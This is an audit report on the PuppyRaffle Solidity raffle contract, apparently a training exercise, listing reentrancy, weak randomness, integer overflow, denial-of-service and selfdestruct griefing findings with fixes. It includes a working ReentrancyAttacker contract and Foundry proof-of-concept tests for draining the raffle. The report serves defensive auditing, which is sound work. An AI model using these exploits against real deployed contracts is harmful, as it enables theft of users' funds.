PuppyRaffle Audit Report

Version 1.0

bumble.c

July 7, 2024

Protocol Audit Report

bumble.c

July 7, 2024

Prepared by: Bumble Lead Security Researcher:

- Bumble.c

Table of Contents

- Medium
  - [M-1] Looping through the players array to check for duplicated in `PuppyRaffle::enterRaffle` is a potential denial of service (DoS) attack, incrementing gas costs for future entrants.
  - [M-2] Unsafe cast of `PuppyRaffle::fee` loses fees
  - [M-3] Smart contract wallets raffle winners without a `receive` or `fallback` function will block the start of a new contest.
  - [M-4] Balance check on `PuppyRaffle::withdrawFees` enables griefers to self-destruct a contract to send ETH to the raffle, blocking withdrawals
- Low
  - [L-1] Players on index 0 on `PuppyRaffle::getActivePlayerIndex` will always return 0, even if the player is in the raffle at first position.
- Gas
  - [G-1] Unchanged state variables should be declared constant or immutable
  - [G-2] Store variables in a loop should be cached
- Informational
  - [I-1]: Solidity pragma should be specific, not wide
  - [I-2] Old versions of Solidity can have security vulnerabilities
  - [I-3]: Missing checks for `address(0)` when assigning values to address state variables
  - [I-4] `PuppyRaffle::selectWinner` does not follows the CEI pattern, which is not a best practice.
  - [I-5] Use of “magic” numbers is discouraged
  - [I-6] _isActivePlayer is never used and should be removed

Protocol Summary

The `PuppyRaffle` protocol is a raffle system that allows users to enter a raffle to win a cute dog NFT. The protocol allows users to enter the raffle by calling the `enterRaffle` function with a list of participants. Duplicate entrants are not allowed, and users can get a refund of their ticket value by calling the `refund` function. The raffle will draw a winner every X seconds and mint a random puppy NFT. The owner of the protocol can set a fee address to take a cut of the value, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The Bumble team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: e30d199697bbc822b646d76533b66b7d529b8ef5
- In Scope:

Scope

```
./src/
#-- PuppyRaffle.sol
```

Compatibilities

- Solc Version: 0.7.6
- Chain(s) to deploy contract to: Ethereum

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

The audit was conducted on the `PuppyRaffle` protocol. It took the team 3 days to complete the audit, and the team found 16 issues in the protocol. The issues found were of varying severity, with 3 high, 4 medium, 1 low, and 6 informational issues found. The team recommends that the protocol follows the CEI (Check-Effect-Interact) pattern, uses Chainlink VRF for randomness, and updates the state variables to be immutable or constant. This was a great project to work on, and we look forward to working with the team in the future.

Issues found

Severity	Numbers of Issues found
High	3
Medium	4
Low	1
Info	6
Gas	2
Total	16

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain raffle balance

Description: The `PuppyRaffle::refund` function does not follow CEI (Check-Effect-Interact) and as a result, enables participants to drain the contract's balance.

In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender` address and only after making that external call do we update the `PuppyRaffle::players` array.

```
1  function refund(uint256 playerIndex) public {
2          address playerAddress = players[playerIndex];
3          require(playerAddress == msg.sender, "PuppyRaffle: Only the
               player can refund");
4          require(playerAddress != address(0), "PuppyRaffle: Player
               already refunded, or is not active");
5
6  @>          payable(msg.sender).sendValue(entranceFee);
7  @>          players[playerIndex] = address(0);
8
9          emit RaffleRefunded(playerAddress);
10     }
```

A player who has entered the raffle could have a `fallback/receive` function that calls the `PuppyRaffle::refund` function. This would allow the player to drain the contract's balance.

Impact: An attacker could call the `PuppyRaffle::refund` function and drain the contract's balance. This would result in the contract not having enough funds to pay out the winner of the raffle.

Proof of Concept:

1. User enters the raffle
2. Attacker sets up a contract with a `fallback` function that calls the `PuppyRaffle::refund` function
3. Attacker enters the raffle
4. Attacker calls the `PuppyRaffle::refund` function from their contract, draining the contract's balance

Proof of Code Place the following into the `PuppyRaffle.sol` contract:

Click to see code

```
1  function test_ReentrancyRefund() public {
2          address[] memory players = new address[](4);
3          players[0] = playerOne;
4          players[1] = playerTwo;
5          players[2] = playerThree;
6          players[3] = playerFour;
7          puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
8
9          ReentrancyAttacker attacker = new ReentrancyAttacker(
               puppyRaffle);
10
11         address attackUser = makeAddr("attackUser");
12         vm.deal(attackUser, 1 ether);
13
```

```
14          uint256 startingContractBalance = address(puppyRaffle).balance;
15          uint256 startingAttackerBalance = address(attacker).balance;
16
17          vm.prank(attackUser);
18          attacker.attack{value: entranceFee}();
19
20          console.log("startingContractBalance", startingContractBalance)
                ;
21          console.log("startingAttackerBalance", startingAttackerBalance)
                ;
22          console.log("endingContractBalance", address(puppyRaffle).
                balance);
23          console.log("endingAttackerBalance", address(attacker).balance)
                ;
24
25      }
```

And this contract as well.

```
1  contract ReentrancyAttacker {
2      PuppyRaffle puppyRaffle;
3      uint256 entranceFee;
4      uint256 attackerIndex;
5
6      constructor (PuppyRaffle _puppyRaffle) {
7          puppyRaffle = _puppyRaffle;
8          entranceFee = puppyRaffle.entranceFee();
9      }
10
11     function attack() external payable {
12         address[] memory players = new address[](1);
13         players[0] = address(this);
14         puppyRaffle.enterRaffle{value: entranceFee}(players);
15         attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
               ;
16         puppyRaffle.refund(attackerIndex);
17     }
18
19     receive() external payable {
20         if (address(puppyRaffle).balance > 0) {
21             puppyRaffle.refund(attackerIndex);
22         }
23     }
24 }
```

Recommended Mitigation: Follow the CEI (Check-Effect-Interact) pattern. This means that you should first check the conditions, then update the state, and finally interact with other contracts. In this case, you should first update the state, then make the external call.

```
1   function refund(uint256 playerIndex) public {
```

```
2           address playerAddress = players[playerIndex];
3           require(playerAddress == msg.sender, "PuppyRaffle: Only the
                player can refund");
4           require(playerAddress != address(0), "PuppyRaffle: Player
                already refunded, or is not active");
5
6   +       players[playerIndex] = address(0);
7   +       emit RaffleRefunded(playerAddress);
8           payable(msg.sender).sendValue(entranceFee);
9   -       players[playerIndex] = address(0);
10  -       emit RaffleRefunded(playerAddress);
11      }
```

[H-2] `PuppyRaffle::selectWinner` randomness is breakable, allowing an attacker to predict the winner and influence the winning puppy.

Description The `PuppyRaffle::selectWinner` function uses `block.timestamp` and `block.difficulty` to generate randomness. This is not a secure way to generate randomness as an attacker could manipulate the `block.timestamp` and `block.difficulty` to predict the winner.

Note: This additionally means users could front-run this function and call `refund` if they are not the winner.

Impact An attacker could manipulate the `block.timestamp` and `block.difficulty` to predict the winner of the raffle. This would allow the attacker to enter the raffle and then manipulate the randomness to ensure they win.

Proof of Concepts

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate. See the solidity blog on prevrandao for more information. `block.difficulty` was recently replaced with prevrendao.
2. User can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner!
3. Users can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.

Using on-chain values as a randomness seed is a well-documented attack vector in the blockchain space.

Recommended mitigation Use Chainlink VRF (Verifiable Random Function) to generate randomness. Chainlink VRF is a secure and reliable way to generate randomness on-chain. Check out the Chainlink VRF documentation for more information.

[H-3] Integer overflow of `PuppyRaffle::entranceFee` loses fees

Description In solidity versions prior to `0.8.0` integers were subject to integer overflows.

```
uint64 myVar = type(uint64).max;
// myVar is now 18446744073709551615
myVar = myVar + 1;
// myVar is now 0
```

Impact In the `PuppyRaffle::selectWinner`, `totalFees` are accoumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. However, if the `totalFees` exceeds `type(uint64).max`, the fees will be lost, leaving the fees permanently stuck in the contract.

Proof of Concepts

1. We conclude a raffle of 4 players.
2. We then have 89 players enter a new raffle, and conclude the raffle.
3. `totalFees` will be:

```
totalFees = totalFees + uint64(fee);

totalFees = 800000000000000000 + 17800000000000000000
totalFees = 153255926290448384
```

4. You will not be able to withdraw the fees, as the `totalFees` will be less than the `fee` you just collected, as in this line of `PuupyRaffle::withdrawFees`:

```
require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

Although you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw fees, this is clearly not the intended design of the protocol. At some point, there will be too much `balance` in the contract that the above `require` will be impossible to reach.

Click to see code

```
    function testTotalFeesOverflow() public playersEntered {
        // We finish a raffle of 4 to collect some fees
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 startingTotalFees = puppyRaffle.totalFees();
        // startingTotalFees = 800000000000000000

        // We then have 89 players enter a new raffle
        uint256 playersNum = 89;
```

```
11          address[] memory players = new address[](playersNum);
12          for (uint256 i = 0; i < playersNum; i++) {
13              players[i] = address(i);
14          }
15          puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
                players);
16          // We end the raffle
17          vm.warp(block.timestamp + duration + 1);
18          vm.roll(block.number + 1);
19
20          // And here is where the issue occurs
21          // We will now have fewer fees even though we just finished a
                second raffle
22          puppyRaffle.selectWinner();
23
24          uint256 endingTotalFees = puppyRaffle.totalFees();
25          console.log("ending total fees", endingTotalFees);
26          assert(endingTotalFees < startingTotalFees);
27
28          // We are also unable to withdraw any fees because of the
                require check
29          vm.prank(puppyRaffle.feeAddress());
30          vm.expectRevert("PuppyRaffle: There are currently players
                active!");
31          puppyRaffle.withdrawFees();
32      }
```

Recommended mitigation There are a few possible mitigations.

1. Use a newer version of solidity, and a `uint256` instead of a `uint64` for `PuppyRaffle::totalFees`.
2. You could also use the `SafeMath` library of OpenZeppelin for version 0.7.6 of solidity, however you could still have a hard time with the `uitn64` type if too many fees are collected.
3. Remove the balance check from `PuppyRaffle::withdrawFees`

```
1 -         require(address(this).balance == uint256(totalFees), "
      PuppyRaffle: There are currently players active!");
```

There are more attack vectors with that final require, so we recomend removing it regardless.

Medium

[M-1] Looping through the players array to check for duplicated in `PuppyRaffle::enterRaffle` is a potential denial of service (DoS) attack, incrementing gas costs for future entrants.

Description: The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for duplicates. However, the longer the `PuppyRaffle::players` array is, the more checks a new player will have to make. This means the gas costs for players who enter right when the raffle stats will be ramatically lower than those who enter later. Every additional address in the `players` array, is an additional check the loop will have to make.

```
1 // @audit - DoS Attack
2 @>      for (uint256 i = 0; i < players.length - 1; i++) {
3             for (uint256 j = i + 1; j < players.length; j++) {
4                 require(players[i] != players[j], "PuppyRaffle:
                      Duplicate player");
5             }
6         }
```

Impact: The gas costs for raffle entrants will greatly increase as more players enter the raffle. Discouraging later users from entering, and causing a rush at the start of a raffle to be one of the first entrants in the queue.

An attacker might make the `PuppyRaffle:entrants` array so big, that no one else enters, guaranteeing themselves the win.

Proof of Concept: If we have 2 sets of 100 players enter, the gas costs will be as such: - 1st 100 players: ~6252032 gas - 2nd 100 players: ~18068129 gas

This is more than 3x more expensive for the second 100 players.

Click to see the code

Place the following code in the `PuppyRaffle.sol` contract:

```
1
2 function test_denialOfService() public {
3         uint256 playersNum = 100;
4         address[] memory players = new address[](playersNum);
5         vm.txGasPrice(1);
6         for (uint256 i = 0; i < playersNum; i++){
7             players[i] = address(i);
8         }
9
10        uint256 gasStart = gasleft();
11        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
              players);
```

```
12          uint256 gasEnd = gasleft();
13          uint gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
14          console.log("gas cost of the first 100 players", gasUsedFirst);
15
16          // now for second 100 players
17          address[] memory players2 = new address[](playersNum);
18          for (uint256 i = 0; i < playersNum; i++){
19              players2[i] = address(i + playersNum);
20          }
21          uint gasStart2 = gasleft();
22          puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
                players2);
23          uint gasEnd2 = gasleft();
24          uint gasUsedSecond = (gasStart2 - gasEnd2) * tx.gasprice;
25          console.log("gas cost of the second 100 players", gasUsedSecond
                );
26
27          assert(gasUsedSecond > gasUsedFirst);
28      }
```

Recommended Mitigation: There are a few recommended mitigations.

1. Consider allowing duplicates. Users can make new wallet addresses anyways, so a duplicate check doesn't prevent the same person from entering multiple times, only the same wallet address.
2. Consider using a mapping to check duplicates. This would allow you to check for duplicates in constant time, rather than linear time. You could have each raffle have a `uint256` id, and the mapping would be a player address mapped to the raffle Id.

```
1  +     mapping(address => uint256) public addressToRaffleId;
2  +     uint256 public raffleId = 0;
3      .
4      .
5      .
6      function enterRaffle(address[] memory newPlayers) public payable {
7          require(msg.value == entranceFee * newPlayers.length, "
               PuppyRaffle: Must send enough to enter raffle");
8          for (uint256 i = 0; i < newPlayers.length; i++) {
9              players.push(newPlayers[i]);
10 +            addressToRaffleId[newPlayers[i]] = raffleId;
11         }
12
13 -        // Check for duplicates
14 +       // Check for duplicates only from the new players
15 +       for (uint256 i = 0; i < newPlayers.length; i++) {
16 +          require(addressToRaffleId[newPlayers[i]] != raffleId, "
       PuppyRaffle: Duplicate player");
17 +       }
18 -        for (uint256 i = 0; i < players.length; i++) {
```

```
19 -             for (uint256 j = i + 1; j < players.length; j++) {
20 -                 require(players[i] != players[j], "PuppyRaffle:
       Duplicate player");
21 -             }
22 -         }
23           emit RaffleEnter(newPlayers);
24       }
25 .
26 .
27 .
28       function selectWinner() external {
29 +         raffleId = raffleId + 1;
30           require(block.timestamp >= raffleStartTime + raffleDuration, "
                PuppyRaffle: Raffle not over");
```

Alternatively, you could use OpenZeppelin's `EnumerableSet` library.

[M-2] Unsafe cast of `PuppyRaffle::fee` loses fees

Description: In `PuppyRaffle::selectWinner` there is a type cast of a `uint256` to a `uint64`. This is an unsafe cast, and if the `uint256` is larger than `type(uint64).max`, the value will be truncated.

```
1       function selectWinner() external {
2           require(block.timestamp >= raffleStartTime + raffleDuration, "
                PuppyRaffle: Raffle not over");
3           require(players.length > 0, "PuppyRaffle: No players in raffle"
                );
4
5           uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.
                sender, block.timestamp, block.difficulty))) % players.
                length;
6           address winner = players[winnerIndex];
7           uint256 fee = totalFees / 10;
8           uint256 winnings = address(this).balance - fee;
9   @>      totalFees = totalFees + uint64(fee);
10          players = new address[](0);
11          emit RaffleWinner(winner, winnings);
12      }
```

The max value of a `uint64` is `18446744073709551615`. In terms of ETH, this is only ~18 ETH. Meaning, if more than 18ETH of fees are collected, the `fee` casting will truncate the value.

Impact: This means the `feeAddress` will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. A raffle proceeds with a little more than 18 ETH worth of fees collected
2. The line that casts the `fee` as a `uint64` hits
3. `totalFees` is incorrectly updated with a lower amount

You can replicate this in foundry's chisel by running the following:

```
uint256 max = type(uint64).max
uint256 fee = max + 1
uint64(fee)
// prints 0
```

Recommended Mitigation: Set `PuppyRaffle::totalFees` to a `uint256` instead of a `uint64`, and remove the casting. Their is a comment which says:

```
// We do some storage packing to save gas
```

But the potential gas saved isn't worth it if we have to recast and this bug exists.

```
-   uint64 public totalFees = 0;
+   uint256 public totalFees = 0;
.
.
.
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "
            PuppyRaffle: Raffle not over");
        require(players.length >= 4, "PuppyRaffle: Need at least 4
            players");
        uint256 winnerIndex =
            uint256(keccak256(abi.encodePacked(msg.sender, block.
                timestamp, block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 totalAmountCollected = players.length * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
-       totalFees = totalFees + uint64(fee);
+       totalFees = totalFees + fee;
```

[M-3] Smart contract wallets raffle winners without a `receive` or `fallback` function will block the start of a new contest.

Description The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Users could easily call the `selectWinner` function again and non-wallet entrants could enter, but it could cost a lot due to the duplicate check and a lottery reset could get very challenging.

Impact The `PuppyRaffle::selectWinner` would revert many times, and the lottery would not be able to restart. This would prevent new entrants from joining the lottery.

Also, true winners would not get paid out and someone else could take their money!

Proof of Concepts

1. 10 smart contract wallets enter the lottery whitout a fallback or receive function.
2. The lottery ends
3. The `selectWinner` function wouldnt work, even though the lottery is over!

Recommended mitigation There are a few options to mitigate this issue.

1. Do not allow smart contract wallets to enter the lottery. This would prevent the issue from happening in the first place (not recommended).
2. Create a mapping of addresses -> payout so winners can pull their funds themselves, putting the owness on the winner to claim their prize (Recommended). > Pull over Push

[M-4] Balance check on `PuppyRaffle::withdrawFees` enables griefers to selfdestruct a contract to send ETH to the raffle, blocking withdrawals

Description: The `PuppyRaffle::withdrawFees` function checks the `totalFees` equals the ETH balance of the contract (`address(this).balance`). Since this contract doesn't have a `payable` fallback or `receive` function, you'd think this wouldn't be possible, but a user could `selfdesctruct` a contract with ETH in it and force funds to the `PuppyRaffle` contract, breaking this check.

```
1      function withdrawFees() external {
2  @>      require(address(this).balance == uint256(totalFees), "
       PuppyRaffle: There are currently players active!");
3          uint256 feesToWithdraw = totalFees;
4          totalFees = 0;
5          (bool success,) = feeAddress.call{value: feesToWithdraw}("");
6          require(success, "PuppyRaffle: Failed to withdraw fees");
7      }
```

Impact: This would prevent the `feeAddress` from withdrawing fees. A malicious user could see a `withdrawFee` transaction in the mempool, front-run it, and block the withdrawal by sending fees.

Proof of Concept:

1. `PuppyRaffle` has 800 wei in it's balance, and 800 totalFees.
2. Malicious user sends 1 wei via a `selfdestruct`
3. `feeAddress` is no longer able to withdraw funds

Recommended Mitigation: Remove the balance check on the `PuppyRaffle::withdrawFees` function.

```
    function withdrawFees() external {
-       require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
        uint256 feesToWithdraw = totalFees;
        totalFees = 0;
        (bool success,) = feeAddress.call{value: feesToWithdraw}("");
        require(success, "PuppyRaffle: Failed to withdraw fees");
    }
```

Low

[L-1] Players on index 0 on `PuppyRaffle::getActivePlayerIndex` will always return 0, even if the player is in the raffle at first position.

Description: If a player is in the `PuupyRaffle::players` array at index 0, this will return 0, but according to the natspec, it will also return 0 if the player is not in the array.

```
  function getActivePlayerIndex(address player) external view returns (uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }
        return 0;
    }
```

Impact: A player at index 0 may think they are not in the raffle, when they are. This could lead to confusion of user trying to join the raffle whey they already are, leading to wasted gas.

Proof of Concept:

1. User enters the raffle, they are the first player in the `players` array.
2. `PuupyRaffle::getActivePlayerIndex` returns 0.
3. User tries to enter the raffle again, thinking they are not in the raffle.

Recommended Mitigation: The easiest way to revert is revert if the player is not in the array, instead of returning 0.

You could also reserve the 0th position for any competition, but a better solution might be to return an `int256` where the function returns `-1` if the player is not in the array.

Gas

[G-1] Unchanged state variables should be declared constant or immutable

Reading from storage is much more expensive than reading from a constant or immutable variable.

Instances: - `PuppyRaffle::raffleDuration` should be declared as `immutable` as it is not changed after initialization. - `PuppyRaffle::commonImageUri` should be declared as `constant` as it is not changed. - `PuppyRaffle::rareImageUri` should be declared as `constant` as it is not changed. - `PuppyRaffle::legendaryImageUri` should be declared as `constant` as it is not changed.

Example:

```
1 -     uint256 public raffleDuration;
2 +     uint256 public immutable raffleDuration;
```

[G-2] Store variables in a loop should be cached

Everytime you call `players.length` in the loop, you are reading from storage. This is expensive. Instead, store the length in a variable and use that in the loop.

```
1
2 + uint256 playersLength = players.length;
3 -   for (uint256 i = 0; i < players.length - 1; i++) {
4 + for (uint256 i = 0; i < playersLength - 1; i++) {
5 -             for (uint256 j = i + 1; j < players.length; j++) {
6 +             for (uint256 j = i + 1; j < playersLength; j++) {
7                   require(players[i] != players[j], "PuppyRaffle:
                        Duplicate player");
8               }
9           }
```

Informational

[I-1]: Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

1 Found Instances

- Found in src/PuppyRaffle.sol Line: 2

```
1 pragma solidity ^0.7.6;
```

[I-2] Old versions of Solidity can have security vulnerabilities

Description solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation Deploy with a recent version of Solidity (at least `0.8.0`) with no known severe issues. The recommendations take into account: - Risks related to recent releases. - Risks of complex code generation changes. - Risks of new language features. - Risks of known bugs. - Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please see slither documentation for more information.

[I-3]: Missing checks for `address(0)` when assigning values to address state variables

Check for `address(0)` when assigning values to address state variables.

2 Found Instances

- Found in src/PuppyRaffle.sol Line: 67

```
1         feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 198

```
1         feeAddress = newFeeAddress;
```

[I-4] `PuppyRaffle::selectWinner` does not follows the CEI pattern, which is not a best practice.

Its best to keep code clean and follow CEI (Check-Effect-Interact).

```
1 -         (bool success,) = winner.call{value: prizePool}("");
2 -         require(success, "PuppyRaffle: Failed to send prize pool to
    winner");
3           _safeMint(winner, tokenId);
4 +         (bool success,) = winner.call{value: prizePool}("");
5 +         require(success, "PuppyRaffle: Failed to send prize pool to
    winner");
```

[I-5] Use of "magic" numbers is discouraged

It can be confusing to see number literals in a codebase, and it is much more readable if the number are given a name.

Examples:

```
uint256 prizePool = (totalAmountCollected * 80) / 100;
uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead, you could use:

```
uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
uint256 public constant FEE_PERCENTAGE = 20;
uint256 public constant POOL_PRECISION = 100;
```

[I-6] _isActivePlayer is never used and should be removed

Description: The function `PuppyRaffle::_isActivePlayer` is never used and should be removed.

```
-    function _isActivePlayer() internal view returns (bool) {
-        for (uint256 i = 0; i < players.length; i++) {
-            if (players[i] == msg.sender) {
-                return true;
-            }
-        }
-        return false;
-    }
```